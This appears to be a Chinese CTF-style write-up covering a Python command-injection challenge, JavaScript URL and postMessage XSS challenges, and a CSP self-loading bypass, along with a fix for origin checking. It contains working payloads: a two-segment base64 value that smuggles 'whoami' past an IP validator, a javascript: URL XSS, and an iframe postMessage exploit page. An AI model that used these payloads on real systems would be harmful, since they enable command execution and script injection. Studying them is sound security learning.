# PY
def run_ping(ip_base64): | |
try: | |
decoded_ip = base64.b64decode(ip_base64).decode('utf-8') | |
print(decoded_ip) | |
print(decoded_ip.split('.')) | |
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip): | |
print(1) | |
return False | |
if decoded_ip.count('.') != 3: | |
print(2) | |
return False | |
if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')): | |
print(3) | |
return False | |
if not ipaddress.ip_address(decoded_ip): | |
print(4) | |
return False | |
if len(decoded_ip) > 15: | |
print(5) | |
return False | |
if not re.match(r'^[A-Za-z0-9+/=]+$',ip_base64): | |
print(6) | |
return False | |
except Exception as e: | |
print(888) | |
return False | |
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d )" | sh""" | |
print(command) | |
try: | |
process = subprocess.run( | |
command, | |
shell= True, | |
check = True, | |
capture_output=True, | |
text=True | |
) | |
return process.stdout | |
except Exception as e: | |
print(999) | |
return False |
很多时候,做这种题你都需要知道其中用到的函数有些什么特点,比如这一题,你需要知道 python 中 base64.b64decode 这个函数解码时,如果遇到两段 base64,只会解码第一段并返回
后续的所有的校验都是基于 decode_ip,但是最匪夷所思的地方在于:

显而易见,只要构造两段 base64 即可:
MTI3LjAuMC4xMjc=O3dob2FtaQ== |
小插曲:
b64decode,或者说所有解码,都是以 = 作为分割来区分不同段的。也就是说,如果前面 ip 段的 base64 编码最后没有原生的 =(后加的不算),那么后面的一串都会被当作这一段而不是下一段。
# JS
url = new URL(userInput); | |
if (url.hostname != 'potatowo.top') { | |
return; | |
} | |
window.href = url |

是这样的,所以 payload:
const url=new URL("javascript://potatowo.top/%0Aalert('xss')"); |

这题土豆给了提示,问题在于 window.postMessage 方法,搜一搜:

PostMessage 的部分是要我们自己写的,这里我们作为发送方,给的代码是接收方,而且没有校验来源
<iframe id="attack" src="https://potatowo.com/vul.html" width="300" height="360"></iframe> | |
<script> | |
window.onload = function() { | |
const iframe = document.getElementById('attack'); | |
iframe.onload = function() { | |
const rec = this.contentWindow; | |
const payload = JSON.stringify({ | |
"video-masthead-cta-clickthrough": "javascript:alert('XSS')"}); | |
rec.postMessage(payload, '*'); | |
}; | |
}; | |
</script> |
这样我们就可以用自己的网页实现目标网页的 XSS,目前不大理解用途,但是你就说有没有 XSS 吧
修复起来也相当简单,只要目标页面验证下来源
<script> | |
window.addEventListener('message', function(e) { | |
// 只接受可信域名的消息 | |
if (e.origin !== 'https://trusted.com') return; | |
// 其他处理逻辑 | |
}); | |
</script> |
# PHP

解释一下上面这些 header:
Content-Security-Policy: 内容安全策略(CSP),用于配置不同来源的内容的设置
script-src ‘self’;object-src:'none';
只允许自身加载 js 脚本;禁止通过某些标签(如 <object>,<embed > 等)引入的资源(Flash,Java 小程序)还有一下几种:
default-src 默认规则,未指定的资源默认继承此规则
style-src 控制 CSS 来源
image-src 控制图片来源,包括 background-image 等引入的
connect-src 控制 AJAX,WebSocket,EventSource 等网络连接的域名
font-src
media-src
frame-src
report-uri 指定监控到的违反 CSP 规则时的报告地址,用于监控,仅报告不阻止一般值:
self :仅当前域名,但排除本页面内联,伪协议,以及动态执行的
none :完全禁止此类资源
unsafe-inline :运行内联的脚本 / 样式
unsafe-eval :允许动态执行代码,比如 eval (),new Fuction ()
域名 / URL :xxx-src 之类以及 report-uri不设置 CSP 时浏览器只遵从同源策略
代码实际上就是限制了我们只能加载该网站上已有的 js,看上去没办法 XSS?这个浏览器上怎么会有我们可以控制的已有 xss 呢?
欸,这个页面本身不就是嘛,自己加载自己,给被加载的自己传递参数来 xss!

显然,CSP 不会影响到别人加载自己。